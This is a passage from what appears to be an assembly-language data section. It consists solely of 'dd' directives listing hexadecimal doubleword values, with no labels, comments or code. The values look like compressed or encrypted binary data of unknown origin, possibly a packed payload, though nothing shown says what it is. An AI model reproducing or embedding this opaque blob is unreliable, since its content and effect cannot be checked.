0D8FB85BCh, 0D8045174h, 0CEC54D7Eh, 51B7C28Ch, 50D8DA06h dd 220ED6Ah, 27C88AECh, 0C8FD4690h, 345DF1E8h, 1F75C329h dd 8B244839h, 64B4CE6Eh, 0E824A074h, 9DF663E4h, 5980987Dh dd 0EB2CC175h, 0CC175A13h, 1B5201B1h, 0C9698650h, 4A594E37h dd 64827C8Fh, 11202274h, 0AC39FE8Ch, 9C451B2Ah, 0CC7EE8B0h dd 1C6523CCh, 0B8E2A059h, 0D9E29D8Ah, 24E75741h, 8C504DABh dd 0D0FED4CEh, 0C029E925h, 6990E893h, 0D1C60ACBh, 0E9E9B09Fh dd 73C8AA24h, 0E9AF49D4h, 474A8D4Bh, 0CD00C057h, 14E8315Bh dd 2FC58165h, 0C3C93840h, 0E1406E07h, 8916CCDh, 20D82289h dd 1A446D12h, 0BC498951h, 6B84A39h, 4A7B572Dh, 0B8A16316h dd 6B478D6Bh, 87034084h, 7B52E818h, 0D5F84823h, 0F174C4Ch dd 0F0E7A582h, 0DE172BDFh, 2B0E6B8Dh, 787265FDh, 0FACDFE82h dd 0E65095C5h, 4A735909h, 0D7D54BB8h, 8B0221CFh, 0C7CB03C6h dd 50107241h, 0F10A886Fh, 85CC1E4Eh, 8D170C75h, 432F1046h dd 7CDA478Ch, 0FBC13309h, 3C310002h, 4472E898h, 85A4A3EDh dd 637843F1h, 29891F25h, 22FB7679h, 0B594861Ah, 0FBD54F43h dd 49BE4975h, 0A20459h, 98D71E47h, 0B7ED3117h, 54F60F19h dd 75304145h, 6E186A05h, 268303C1h, 4B03E23Eh, 10A08FC2h dd 0A983E707h, 5DA5CD3Ch, 247DCE62h, 0E857FBC2h, 0CF23BC69h dd 1BCDC353h, 4CC6E55h, 9F608ABBh, 8C6C01Bh, 0CFA4859h dd 0E480B857h, 5A0BF9Ch, 81A2C73Bh, 20FC95D7h, 882481A4h dd 9F3DD609h, 0B78DC533h, 0C5F7ACD0h, 3DCDEC6Dh, 8328DACFh dd 0FE720690h, 0E04D9D3Fh, 39816680h, 0B7745A4Dh, 41C7E3AFh dd 0E4C1773Ch, 0A520FB38h, 0C0C933F0h, 0B187832h, 944F0F01h dd 0B32A91B5h, 48999F90h, 0DA30C84Ch, 53141841h, 6710C56h dd 1EA170B8h, 9036857h, 0DC1E7618h, 0C3CB092h, 723DF93Bh dd 8589209h, 0FB2F77B8h, 0C2277E78h, 2CAEDE01h, 0E6273D8Bh dd 0FD5A5E71h, 407DA012h, 8FE5C031h, 0F42C622Dh, 14F8592Bh dd 93288BFAh, 3CC4B2BCh, 70AC16FFh, 84594D8h, 50142D50h dd 52431AA4h, 3B3F0822h, 0C124828Bh, 42F71FE8h, 5DE3C220h dd 5069C0C7h, 0E1E69D45h, 3DCD0150h, 0C014CD9Eh, 72C23FF4h dd 20B7479Fh, 493285BBh, 0E0423BD0h, 0D4410D3Eh, 0ABDFED9Ch dd 16DD7859h, 0D02E0133h, 0F97B27A3h, 32A3046Fh, 0C359264Ch dd 773B6819h, 443AD76Fh, 0BCD4A35Fh, 6CC32F10h, 0E0E83BD9h dd 0FA3CC4Eh, 20468425h, 0A15C5669h, 3849D7Ch, 0E0BB957h dd 273953CAh, 0D8A10E74h, 5120DB6Bh, 703E6C1h, 72CB3BDAh dd 12C0C6EEh, 0C819C279h, 75360873h, 99C19520h, 0A9CA27C3h dd 0A1FA7AABh, 0FB38FC43h, 5EA8340h, 606C8EF9h, 15921508h dd 5E11EAE9h, 56DE4D82h, 0BA6044E7h, 0CDD005Ch, 89BE12B4h dd 35822FF8h, 0D862FB8h, 3DECF370h, 0D1067450h, 3BF90300h dd 6B247DD7h, 30C7BC9h, 64835C7Eh, 33440839h, 15841D1Fh dd 91DF0342h, 7CD33B05h, 7087B9E2h, 3E8E3D24h, 756450B0h dd 46C73A09h, 0EB9783B0h, 90683D5Eh, 81901027h, 913D4E82h dd 8844214h, 51933D3Eh, 212E0885h, 82448D3Dh, 8F3D1E20h dd 82861085h, 11923D0Eh, 238A1207h, 0BEBC76FFh, 8DD39609h dd 7344E8DAh, 4B51E523h, 2021C61Ah, 995467Ch, 0AD0B7C92h dd 6298A9E6h, 0DCEA4170h, 8E005A1h, 19288AE4h, 0F7C11EBh dd 56503956h, 0F109B2E8h, 5309F66Bh, 0E2BDE8F8h, 0EB56C965h dd 4CE6F357h, 145E7C1Ch dd 210573C1h, 46F6155h, 441BE0ECh, 1DF9E990h, 6C482958h dd 0A20E622h, 59E9B7E3h, 0D80692E4h, 0FB05F3A9h, 0BB4C7F0Bh dd 0F408BC6h, 0C12B5902h, 809222Ch, 75016489h, 0EA187044h dd 5334FCB9h, 0E25E2CBCh, 1611071h, 149FBE29h, 0EB0005A1h dd 5C77FF60h, 0E877D38Bh, 62AF929Fh, 6FB81D2h, 94BC5AEBh dd 740FE886h, 0D4F90A3Ch, 1CF0482Bh, 0C54AD5F8h, 2FE8BB78h dd 61C6D4BFh, 9FBEAE29h, 7C05A114h, 0F0A4167Ch, 0C70547F9h dd 4FF2CA0Ah, 0B15E0594h, 67E5B8FAh, 542BCC68h, 8859469Bh dd 113039Ch, 0C5D222ACh, 0B05B17F5h, 0CA6CB406h, 9FE41838h dd 0D6FAACA2h, 5494482Dh, 826D8FCh, 0EADD225Fh, 0BB0AD205h dd 4F8B8E04h, 9BD43ED3h, 0FC31B647h, 641CC840h, 0DDC7D00Fh dd 62368C93h, 462E4D24h, 91DC2A99h, 507F7412h, 32030F15h dd 7D2239CAh, 32EB58F8h, 5C570251h, 42114489h, 14D258BFh dd 8F34E8DBh, 2F14068Bh, 24461553h, 640F0F1Fh, 0A655EA53h dd 5568EB1Ah, 2F37588Ah, 9ED60DD2h, 428AF5B0h, 1E1C45D5h dd 112699h, 6469621h, 64D04016h, 0ACE8BEA0h, 31E989B7h dd 0FB22EC0Ah, 0AF8959Eh, 0D64BFCC8h, 0D17861A9h, 4A296240h dd 6A0461E8h, 88206814h, 0E1472CDEh, 84FCFC50h, 94E79422h dd 75F702A1h, 0A8F68D53h, 0C7110C24h, 2874EA7Eh, 0FE01570Dh dd 0B6D24A38h, 6F675169h, 0D9441681h, 453E766Ah, 1C7F127Fh dd 220D45BFh, 0BE050D42h, 7A167B0Ch, 43E66783h, 0D06E8789h dd 0DD04E8D6h, 9D45D692h, 99C92FEBh, 0F92958A7h, 0D4930BFFh dd 8DC012F4h, 815A6490h, 10DC7D28h, 566A54CEh, 7A58EAB3h dd 0B25AE038h, 0E8CF9E7Bh, 4B7DDEB9h, 561873B6h, 4D8DA357h dd 0D428E8F6h, 10731CCCh, 44D2C4D0h, 892A0291h, 2C148530h dd 7FFD84E8h, 0ECB5BEA6h, 0C47056A1h, 0F87D8009h, 0F4420DE4h dd 0D6104E59h, 7D390401h, 0A187414h, 0C9627C02h, 8C7F240Dh dd 2A53AE8Ah, 3B71E8Ah, 83017E8Dh, 7F77ACB9h, 229517F2h dd 50B60F14h, 0B81FA124h, 48CD5A6Eh, 0F0B2A6FEh, 0B65DDE91h dd 4090633h, 48E08342h, 18A059Eh, 0C7EB471Fh, 202DFB80h dd 4D1E83ADh, 5D90218h, 3ED2B16h, 0B8EE2BB5h, 8C0F0BC2h dd 92D0E449h, 940549Fh, 458FF224h, 75348C37h, 5B30522Ah dd 14B80474h, 8A34200Ah, 783C2407h, 582A3A83h, 32084213h dd 11101321h, 1B6EBC0Ah, 0AA5F1375h, 426A40Eh, 4728FA1Fh dd 8FB15263h, 3312854Dh, 14060AD2h, 0C1CB1C94h, 0F64E0CB7h dd 8EA60C1h, 83F8BEF8h, 0EB30E90Bh, 380C11Ah, 7E31C720h dd 0A880588Ah, 19F93173h, 9703772Fh, 0F3002032h, 144D3BC9h dd 0B2195473h, 1827B008h, 0A02772FCh, 7637CA3Bh, 0DE8B1F21h dd 1E2345C7h, 0A84F87BDh, 4208508h, 0EB03740Eh, 1691C512h dd 24285CEBh, 4AF0F1Dh, 0A1D90314h, 8CF808A0h, 0BE04A812h dd 4D31ABB5h, 3ED101E5h, 0A2021120h, 48D689BEh, 0F37780DFh dd 392CE351h, 2776E8CFh, 0C1E62DE8h, 11879A2h, 7464B07Eh dd 23822894h, 2597CEBh, 0F6022418h, 30B3A79h, 0D79E2AC6h dd 4D072FA7h, 908D5738h, 5BC4F703h, 0FC0E61BFh, 245818EBh dd 0EBDA9330h, 2B4B2892h, 5391416h, 95FB9F9h, 86B21041h dd 90680EC0h, 4F410E5Dh, 0B11335A8h, 0BB1535FDh, 0D5AA9325h dd 1A85AAE4h, 0EF5656EBh, 5755EF4Bh, 6822878Eh, 145D7EC8h dd 0C5D1B7F8h, 17C20865h, 0AB15D25h, 629B2C30h, 0C1332C5Dh dd 112070CBh, 6774E2FEh, 9634893Bh, 3EA012FAh, 2E3D76F2h dd 5CE6F48Dh, 0BA8B361h, 3C894889h, 4602047Bh, 105F68CCh dd 260843A5h, 9A447EE8h, 0D1118B9h, 0B0EB1090h, 58F2864h dd 18918157h, 0AF61563Dh, 0CD41F704h, 69A76F06h, 0E133741Bh dd 0F848DA39h, 5DE8C80Ah, 0DC20B8C0h, 0DA186827h, 0D747E788h dd 3EE81461h, 5D43326Bh, 8BC724A8h, 125F0289h, 4C02A621h dd 0FF290C23h, 18061C71h, 86712881h, 166F290Dh, 53CF8121h dd 6E876A8Bh, 2DC4DB24h, 52CC5CAFh, 833553D1h, 0F192EA38h dd 0EFD68FC2h, 222DDB08h, 41C96C1Eh, 4E92E63Ch, 44D525AAh dd 7F6F204Dh, 41DED09Fh, 5DAB1246h, 2D5DE657h, 0B3905152h dd 61A6FEB4h, 2D2AB290h, 743F84A4h, 0D80C5E22h, 0B00D0A17h dd 23485A65h, 1AFFB894h, 122ABB9Ah, 8408F806h, 0DA8A117Ch dd 20BD4860h, 0E058F0CFh, 1C505E8Dh, 0E55E89Fh, 5D853EEAh dd 0A623CDAFh, 100D9178h, 267B02ABh, 2B1DC9C3h, 18008AC6h dd 4D430B88h, 8DF70C75h, 0BE731D8Eh, 8A0B8FE1h, 11884114h dd 28A24E41h, 4A989FCDh, 2184FB64h, 98E6051Ch, 0C2535AE3h dd 76048435h, 8A8023A0h, 44BF4741h, 0EF97C23Fh, 881E8659h dd 0BF98050Ah, 54044097h, 99C7F472h, 0C6C0C22Fh, 20108085h dd 908D2B74h, 6F599866h, 3BCE06C8h, 0E01677A7h, 8D5040C1h dd 1B0D9428h, 52206A02h, 99BF5EE8h, 203B43FEh, 6AD8755Bh dd 0E63ECE9Ch, 68CB98CCh, 0BC41DC50h, 18AFE25Fh, 0DBC9323Eh dd 2D31D953h, 0BB570202h, 8065D61Fh, 993023F8h, 21441409h dd 5ED201C8h, 8E2548A2h, 27112FFEh, 0B7A6E024h, 13C8D34Ch dd 0ED707E6h, 1D069280h, 58C48C0h, 11EB54A0h, 74C826DDh dd 26204415h, 0F988778Dh, 0EB052822h, 5084C608h, 0C1CFDF09h dd 868D4DE2h, 0F760E8Bh, 1BD19F16h, 128F29C9h, 8D82558Bh dd 16830E84h, 5ACAD003h, 19FBF6C0h, 940C7733h, 0D1BB270Eh dd 0FEBE760h, 22DFE498h, 0EA443EA1h, 102C88EAh, 5830B3EBh dd 9CF3B41h, 8D8BC572h, 2A5F5E11h, 0BDB46044h, 25FC9C23h dd 444058E0h, 0DA44AFE6h, 8BE3403Eh, 79A1F82Fh, 70470097h dd 7F831D74h, 0FCBD6C4Fh, 0F2687717h, 0E82004CFh, 8637C065h dd 74CF5BC7h, 0CF47050Dh, 46D857FDh, 0E4177589h, 0DCBC353Bh dd 0D05C368Dh, 9CBF561Ah, 4FE4662h, 0BE50E856h, 225A14Ah dd 8B684789h, 976F2EADh, 6EAC6057h, 1005E8B1h, 0D88B8EEBh dd 0CE0EC330h, 0BEB963D7h, 0E45E9AD5h, 0C64179BEh, 7089D534h dd 0FAC8BD1Dh, 60DEC71Eh, 0E6A1FC25h, 0C9BD8F88h, 0EB1C4528h dd 0A5523C6Eh, 23381275h, 0DBEB8884h, 2DFC2EC8h, 7A42F3EAh dd 0EB2F1D14h, 0E8C079C4h, 497B27E7h, 0A0292093h, 9AC1A104h dd 0D07E0C5Dh, 68E85780h, 0F897FD96h, 899845BAh, 0EBDC37Dh dd 0D3E8C3D8h, 0C046FC5Eh, 8A9793E9h, 0B8E2C8D5h, 77E0AAB0h dd 0FF5E6946h, 18C0BDA0h, 17F03D30h, 8150E772h, 0D299FDE4h dd 2155661Bh, 5A91E918h, 0C7273048h, 538CB304h, 0D24810B4h dd 33A41425h, 5308572Ch, 0B1292622h, 438D84ABh, 0C1C1AE1Ch dd 0E389BC88h, 0D9A342D2h, 0FBEC5539h, 23736F4Fh, 0CF8860Fh dd 0EE7D80C7h, 15C0CFA7h, 8AEF758Dh, 0C8C9F40Eh, 1CA6C21Ah dd 8FF460Dh, 0E1A6E9F4h, 4122474Fh, 0B1C6397h, 30C96B8Fh dd 8D129658h, 9860C0B1h, 5B8A2AEBh, 2888F446h, 0D23E6ACBh dd 0E031A885h, 0AC80308Ah, 3B44083Bh, 19D1D63h, 76F8B847h dd 3D37BEEAh, 0E472B57Bh, 40B4D149h, 4CB6E0E9h, 4E88627h dd 0E9720A83h, 0BA98C78Bh, 0DB08431Ah, 0AE426342h, 66A6340h dd 0CE1F58B7h, 0D87D10F0h, 665A91B4h, 74318B3Bh, 40F430F6h dd 753E4AE2h, 519D72F3h, 0B7E9091Fh, 0C40107A9h, 60041D03h dd 7633C107h, 0FC7EB9F6h, 342473E8h, 1E72B071h, 0E1A4FEB9h dd 40070871h, 8BF97549h, 2EE804F1h, 0AFA765B5h, 0EB14D612h dd 8DBA7501h, 127D7B42h dd 263539B2h, 626970D8h, 0FC7A629Dh, 5DC625CAh, 92BAB720h dd 681410F7h, 0D7B88660h, 698FB53Dh, 8C97432Eh, 0EAF4DC2Fh dd 5F15FC62h, 77E64A68h, 0BB4A3CC3h, 0D06ADBE8h, 1570842h dd 2220680Bh, 5753E8C1h, 2B7D3B6Ah, 2540E69Eh, 30A688B9h dd 0FB056277h, 2383A5F3h, 95ADC0C4h, 71FDC411h, 2EE076C9h dd 20FC6AB7h, 85DC750Bh, 148B681Dh, 468B110Fh, 16323DABh dd 0BB3A8183h, 5E895B09h, 3D5D8568h, 0D7F50889h, 270F441h dd 7AEA6E91h, 8C8C0558h, 8ADD1A01h, 0CBD61068h, 934871B1h dd 0E010A30Ah, 0C20810B3h, 0E10C1914h, 40B51518h, 5F8CB40h dd 5B10487Dh, 0A434C1Bh, 4FB0CF3h, 0EB402F0Ah, 3D921AE8h dd 0D7DF720h, 584C678Ah, 0AA01288h, 67E91984h, 0A4234B08h dd 13621D18h, 100BA838h, 0A4B1FFE6h, 1365B7A1h, 0B90BBC8Dh dd 8ABA8110h, 0F620141Dh, 0A2C0D758h, 51301102h, 13CA51ADh dd 0FC25DAC3h, 812085B0h, 533620FBh, 0EC844BE8h, 74B95F7Ah dd 0D448BB5Bh, 0E817BAE0h, 0FA02C570h, 3BB8F404h, 601E813h dd 56E8FD6Ah, 0A15958A3h, 903BB811h, 8E574AAAh, 0A885DAEh dd 310BC86h, 57C53BEDh, 483D6FF0h, 68B51266h, 0BDB04528h dd 395E0324h, 235A7528h, 1711B81Ch, 0D54BF05Bh, 0B694E1DCh dd 25BB4C36h, 42D1542Eh, 219EB486h, 7210EFDh, 11B01AB2h dd 34184A9Ch, 39081791h, 4C44C4C0h, 88C41C40h, 0EABEFE2Dh dd 0C8437046h, 0BF88CC22h, 0C72B8C80h, 53865D26h, 4F2A0ED0h dd 22C0424Dh, 8EFA9D44h, 1DD4BE30h, 9C3D078Bh, 8C54381Eh dd 3196A4A8h, 0F2560F75h, 3737742Bh, 74AA1DEEh, 7E00D976h dd 7F815B50h, 0DA833F8h, 5E64114Dh, 85550BFFh, 7BB8FC11h dd 4CB96F5Ch, 447149Fh, 12E5A217h, 4BE50755h, 0EA56C9D3h dd 640D89D8h, 4D40AE79h, 249F6B57h, 27362BB6h, 6BD6AD8Bh dd 34B81B32h, 219EB446h, 5E9D8EC8h, 7B815DC4h, 38B0960h dd 831918A6h, 0A1EFC7Bh, 10189B35h, 4D100CC3h, 0D476D875h dd 4D460589h, 0B7868629h, 0A83A0ED3h, 8A898F7Fh, 4FD1E6Ch dd 9A52BB89h, 3732D3E8h, 948B334Dh, 0ECC1A3C2h, 0F6F12F57h dd 318F56Bh, 1BE9599Eh, 0DE333A56h, 68C9873Eh, 8C0DB0C6h dd 0B0FD7822h, 1276D2DAh, 803FD290h, 8BD37010h, 0F024DB9Ah dd 22014662h, 1C117E83h, 178FC6E8h, 4430E7FEh, 218CB921h dd 0C1ED383h, 0E0C80308h, 8B6C468Dh, 9554C497h, 949A7644h dd 0C166519Bh, 8AC7E057h, 975165E2h, 55531889h, 4D8DC5A3h dd 0BF67C018h, 0B4085DC3h, 0DE3B4068h, 0AFF95473h, 1421B928h dd 0DCE2C907h, 219A7660h, 0FA3412BDh, 460D781Eh, 58041381h dd 0FC17AAB1h, 8CCC22ACh, 0A7E91812h, 0BCF440C8h, 27F044B5h dd 0A0E9C371h, 0E5EE376Bh, 315421B8h, 0C1D88E89h, 5B287D7Dh dd 0F3C16E95h, 716AA0EDh, 858A1215h, 88026A28h, 5DC7BD1Ch dd 0BBC6FDh, 15EB5919h, 0B58C2CE8h, 462A44EEh, 402EC933h dd 41E0FDFCh, 199A5D0h, 8D0470FFh, 3E0F855h, 0C9515052h dd 0D147E9FCh, 456EB1FAh, 44A226BAh, 6FF54B4Ah, 1410E54h dd 9F430675h, 0BEBB945h, 0F94D0C89h, 658A7803h, 72C1A5DFh dd 61044DA7h, 4E14A816h, 8D09F3CFh, 678BFF42h, 64E433F6h dd 9430FA12h, 2FD88B53h, 8A2FE0C1h, 3C2F743h, 15743504h dd 38FC0A8Ah, 47CB3A1Eh, 0D5C984CFh, 75152351h, 96D8CA26h dd 0E3C1C301h, 12BC5610h, 0F9BF0A17h, 0E4FD7F68h, 0CB4B33F7h dd 0F905E2F8h, 0FEFFF183h, 0CCCF734Fh, 2F0472C6h, 76F2E181h dd 251C7514h, 0D3741007h, 83DA990h, 808DE633h, 5F5EC4C0h dd 0ECD15B4Fh, 0C27FFC42h, 4870360Ah, 0E378EF78h, 9AE0275Fh dd 0CDF895E7h, 911527C8h, 1A0622DCh, 5C96EBD4h, 0FEABB433h dd 1107AAD7h, 49FC88FDh, 123841D1h, 62BF3881h, 80DD780Bh dd 408B247Bh, 203D0614h, 90199305h, 7A121EEh, 922F90Eh dd 40C04961h, 327A9599h, 0ABEBC527h, 6851C08Fh, 0BD56D33Eh dd 4F8F91CDh, 5139B2D2h, 90493163h, 358B00FAh, 5F1BD2A4h dd 0D7BEC99Dh, 5AB73578h, 8772A50h, 192E599Bh, 2209243Eh dd 0B20D0975h, 0C492E14h, 8204E2F9h, 7F2AA49Ah, 46017D98h dd 0D367EBE2h, 648D0757h, 0F5755C89h, 5D49FED6h, 1B1DC5A5h dd 0BD21CC5Ch, 60149C32h, 1DFCE6D7h, 856A1827h, 3C86237Fh dd 477C2C3Dh, 0C3090847h, 0F98DD8ADh, 40E82A8h, 46AEA75h dd 27D4BC47h, 44927407h, 3D8902FBh, 0FAE95DF0h, 554148CBh dd 0C640EB2Eh, 0B0A1C29Bh, 643E8045h, 0C32FFE3Dh, 0ADB553Bh dd 0C33B5D1Bh, 4A74C059h, 9C41FF56h, 0CA6AC246h, 1532896h dd 0C115E813h, 0C70023A3h, 38F50304h, 0BC7E751Eh, 0C9E84DA8h dd 2860B359h, 1FEC0B1Dh, 0AC05C712h, 592D5ECAh, 829DAA52h dd 2513F07Ah, 0B2550A4h, 5AEBB844h, 353B97E4h, 0C085B04Dh dd 0A7E1395Fh, 0F2A7E4BFh, 0C72845F8h, 78B23901h, 2C8C8C9Dh dd 13892D04h, 289F2388h, 26105134h, 0D7E6B3E9h, 2746E606h dd 0FF3CEB09h, 128D7E07h, 1823AB08h, 4B6E7889h, 0BC9AC51Eh dd 2958129Fh, 4B134C63h, 64AEA53Eh, 38CF4DB1h, 6945AF06h dd 845E0388h, 0E3C162DBh, 20F53274h, 80A975D2h, 80D0B7FBh dd 4C090ACFh, 4C04959Fh, 0B9702BC6h, 0F0DA3434h, 0DD8AE9E9h dd 3EDE07ECh, 0F30E9724h, 19E36A4Eh, 7C65D091h, 45A12208h dd 48FF1030h, 4324A301h, 2EB03D2h, 460A4146h, 0AEF9745Ch dd 0A4F12645h, 67421FD5h, 8D23F574h, 26483880h, 27F02E6Eh dd 28664A25h, 0C4A2C5C7h, 50E9D127h, 49122AEDh, 5C02157Dh dd 297FD142h, 2ACCF175h, 0A67477FEh, 830854A4h, 47F2834Bh dd 3D14417Fh, 0BE0F5289h, 0E8F42F89h, 0E528730Ah, 8A540DC6h dd 43DD33DFh, 0D09AEA7Ch, 2319F062h, 3733B603h, 95E9F0AAh dd 0D9DF54DAh, 3222E1E0h, 27103140h, 71640EE9h, 0A6CD8A97h dd 20835831h, 72EBFCC3h, 796F0C7Bh, 2DF7B908h, 40888A71h dd 8853831Ch, 8B97441Dh, 0A1C4885Eh, 3520EEC9h, 4A357089h dd 38CE4514h, 75DC4718h, 777DFE03h, 0FBD689EEh, 5C3B36A4h dd 0EE80A57h, 4D3F6AFEh, 0E93D304Dh, 0C94A733Fh, 0F15CF4FEh dd 9D42263Ch, 2E7C100h, 950F048Dh, 364C1250h, 0DE493C71h dd 0A1F342C8h, 3F4C29BBh, 57FE1403h, 0CD104156h, 0A348A0FDh dd 0CD449AE4h, 7B0DE8E0h, 6A03FCC2h, 0BD117F4Eh, 48A1C451h dd 5F5696AAh, 0A03D8B85h, 0BEDB9D88h, 0CBE0274Eh, 2D14755Dh dd 5156D7FFh, 489D208Eh, 0EB161D46h, 2772AA22h, 8B92C078h dd 18A350C5h, 420555EBh, 85B54B3Ah, 649AE35Ah, 6B3A49F3h dd 21C99322h, 611E3966h, 31B6098h, 1812C561h, 748F975h dd 9CDEC8F2h, 2B8E20A6h, 0F85EBEC6h, 1456508Dh, 34400C2Fh dd 3B26E877h, 582670EBh, 6D037208h, 237F202Bh, 0DA553ACBh dd 4DB4F7F6h, 0D5C9AE44h, 0E8101A82h, 0FBD2B086h, 8B145C66h dd 11C1BE09h, 0C3137B98h, 81C358EBh, 75761904h, 9942480h dd 1FAA8C14h, 7E9860A1h, 4075DE90h, 5FBFACAh, 0E6F2F61Bh dd 59C09AD8h, 75C6EE03h, 9044870Ch, 59446AE9h, 0ACE88512h dd 0CCB8DABh, 0C75F8B17h, 26B3489h, 0A0685409h, 8CCC0110h dd 2B9C74A9h, 6AC7ADF6h, 5E202238h, 61B1097Fh, 1B6A5935h dd 1586FC2Dh, 0A2F5A34Bh, 1C688343h, 2E888D0Dh, 29EB8A36h dd 0BFBC2882h, 0E071463h, 78890A05h, 33241C88h, 0FDC2508h dd 0D683E926h, 310D14F2h dd 2BC18114h, 90D3EA54h, 0CE7D3237h, 771FD94h, 2855D014h dd 380E0BF2h, 7C04588Dh, 0AA17CEBFh, 0F8103FE3h, 12844A7Ch dd 905281C2h, 0A66CE885h, 0A8DB283h, 0B50C8D4Dh, 83016181h dd 20834805h, 84908D29h, 0B9F52690h, 39803A52h, 8285D624h dd 9BC28111h, 0D672B081h, 3D392846h, 0A67C163Ah, 0A4511EBh dd 8533415Bh, 0FB6D7EFFh, 84EFA73h, 8456B3E4h, 38A5105h dd 848401A8h, 0B3D11F8h, 0B57B16C8h, 3C4A5266h, 521F1F1h dd 83AAC02Fh, 6B091FE6h, 0D40338F6h, 203968B0h, 62066192h dd 2A044688h, 0FA4CCDF2h, 2DD8A85Fh, 8C6FEB71h, 3E2277E5h dd 80465B7Ch, 8343E033h, 1EFE56D2h, 937C0901h, 0F38BA282h dd 4B354285h, 13F50641h, 0EE0A6F30h, 44E8043h, 0C672EB98h dd 0B8194CBh, 3EB7F0FBh, 0CBDC58F6h, 0F548C317h, 0F5C8016Eh dd 31996F50h, 0B8860D31h, 8854374h, 9C573F29h, 3E893461h dd 8C983F3Ch, 19847502h, 1609EB40h, 4AC4EF03h, 0DB719608h dd 377430CAh, 0B64092ABh, 648C728h, 39B90EDh, 8C0F03FBh dd 91157D67h, 0A4B0B2DDh, 1166A529h, 0D4B415F9h, 0CA7FC274h dd 10E4A6D6h, 0B896D0B8h, 81435C49h, 4EBF5753h, 90BB5330h dd 0F154E7D6h, 850D9D05h, 0F7A7C0EEh, 4461A3D0h, 5660EB47h dd 580E8E3Fh, 0FD333923h, 0BC1CD9BDh, 46F1F0A7h, 0B04308A0h dd 2171506Fh, 0F43F3DACh, 6A241AEDh, 0BE07F003h, 0EBB50B4Fh dd 912A850Bh, 10E08F82h, 8588F049h, 0D6F70D7Ch, 0B1610410h dd 830960DCh, 0BB64252Ah, 279A39E1h, 42D854F6h, 8B56A7E7h dd 179829A8h, 539270Bh, 76E2224Ch, 0EC08C91Fh, 868DF185h dd 99B89E8h, 554A6215h, 75643083h, 0C74AC974h, 0F6278CA3h dd 0C15ACA74h, 0A37F23C3h, 850C20F4h, 0BC1F148h, 8C108565h dd 46AAE6E8h, 0B8D8C28h, 1092392Dh, 0BE644B17h, 0A480FD35h dd 0F2209FFBh, 27FC56A7h, 727E20DCh, 88E28774h, 95841894h dd 808508Ch, 0C429CC98h, 7D8AE809h, 74D120C5h, 744717CAh dd 4486F428h, 580F6B66h, 48504409h, 3848F48Bh, 28223091h dd 5D20719Fh, 21A1749Ch, 98C19F5h, 29AC1298h, 582035F7h dd 88859710h, 21D696C0h, 10889614h, 1966BF97h, 70450948h dd 0A120E73Eh, 0A10E9710h, 0A41A9710h, 0A6C45C32h, 4409CC84h dd 0E489DCD4h, 0F424EC12h, 0FB970744h, 58FD20CAh, 0DCC2024h dd 89380928h, 8AFB144Ch, 0B63AE920h, 3F044B4Ah, 0D713CB50h dd 17508E13h, 82A94589h, 1F40664h, 0AE850FF0h, 3CFD453Eh dd 7412F4DAh, 167F5A8Ah, 5679840Fh, 8465BD7Ch, 3B31DA30h dd 632C91C3h, 97E85009h, 4C73840h, 18202428h, 0B250A351h dd 31822A3Ah, 8E540C0Ch, 58F56D45h, 458D1B86h, 0E2271CF4h dd 6B747EAAh, 89238C6Eh, 0F47D04B5h, 3F81BB02h, 6756D9F0h dd 6B386C4Eh, 0A33059DAh, 14747160h, 18D85668h, 2CC82022h dd 5A1945Ch, 0EAD1C44Fh, 3979CD80h, 7128A90Dh, 72774091h dd 610E3551h, 436AF56Eh, 0D840F345h, 565174CEh, 4952D1D0h dd 7F19E9C0h, 6A518804h, 0E03121B8h, 3D50010Ch, 67412BCh dd 257BCEFCh, 0AD2F3375h, 0C8A0790Ah, 0B4EA509Fh, 0AAF04C8Eh dd 4D81090Bh, 2070D0F0h, 944EB2Ah, 523B0440h, 6676E5A1h dd 7431C045h, 0B3C9FC29h, 0B526BBBDh, 3FA10ED0h, 53A11DE4h dd 13201E58h, 0F84ADE47h, 42FC3695h, 50A6813Fh, 4CC6E811h dd 94BD1018h, 5F218AF3h, 0CC75111Ah, 73D2975Ah, 53111BF3h dd 0B540B1A6h, 6E3D210Ah, 38D00FD1h, 428FFE1Ah, 0CE5ED24Fh dd 0E8AEE01h, 0B02F0A88h, 287CB7Fh, 0A60BE818h, 5EB4461Ch dd 123E3989h, 5D2843E6h, 4C6E5714h, 57149A9Bh, 1F2F4FC2h dd 2B20C32Dh, 0C7D5D05h, 0A5CC8731h, 0B4B9101Bh, 7944D5A3h dd 0CAF21E84h, 84CA55FAh, 0D1920BD3h, 0FF37B0A8h, 8A0FC138h dd 4008F80Ah, 1E894254h, 0AE19EB88h, 98FFED0Fh, 0CA4DFF05h dd 243DEE70h, 0A41815C6h, 0D6348B28h, 3ECFC64h, 5C88506Ah dd 0E958D806h, 0C2E09278h, 0A552E89Ah, 824FB99Ch, 7CA26EB8h dd 29D40F5h, 0A0C607Eh, 0A1147503h, 2A24729Dh, 2907C35Eh dd 40D0D89h, 0EBA51BE8h, 7240ADBh, 8009EBDFh, 0C0424B7Eh dd 0C1BC22E6h, 66461875h, 95287A0Fh, 0EB25ADECh, 25077323h dd 740E9ED9h, 71DEA0Ah, 731F6A2Fh, 0E4603251h, 0F7FB9655h dd 85C1BEFCh, 53421819h, 690ED25h, 2F83DF4h, 0C88B589Ch dd 3D436435h, 5A819D50h, 1F74D12Bh, 4014E351h, 2C1EA20Fh dd 55090A5Dh, 840B5DECh, 27373FF1h, 25F869DCh, 6DF9F75Bh dd 0E740401h, 0CC7B5EE8h, 0E3D2058Fh, 1A951C24h, 0A35CC8AEh dd 64B3845Fh, 0B270EC4Fh, 0C8732904h, 260DD82Dh, 0CD93A02h dd 26700A2Eh, 12CF61F0h, 89E42925h, 58667295h, 19326C41h dd 290A112Bh, 0E5BC4A3Fh, 36B4864Bh, 80B8D2F4h, 1B9095C7h dd 0DFE0D142h, 88CEBBE3h, 82EB14E9h, 0C740293h, 77E77CB3h dd 0DC6BCC52h, 1B840230h, 338B66A4h, 2DCE4CDCh, 0C560A1C6h dd 4C09BD13h, 0CE88EB02h, 904A92E0h, 0B180EC0h, 969575C0h dd 10191432h, 0F1EB8755h, 6115D8C6h, 0EBD3110Ch, 0FF837F41h dd 0D8345F5Ch, 0D1390CCDh, 3BDB3AE9h, 0BD800EAh, 0F7F475C9h dd 0E8C3B0F3h, 457CD964h, 0E6E00744h, 3172D103h, 77513B0Eh dd 0E307E108h, 176590Dh, 0A53F9A4Eh, 5BA16B18h, 2FBFA32Eh dd 0AB854445h, 10141E38h, 8977E457h, 0A922DAE8h, 8157CF83h dd 1175596Bh, 0B7A31EF4h, 8B778FCEh, 0EB25D7E4h, 9D01F04Ah dd 3D0E5E2Dh, 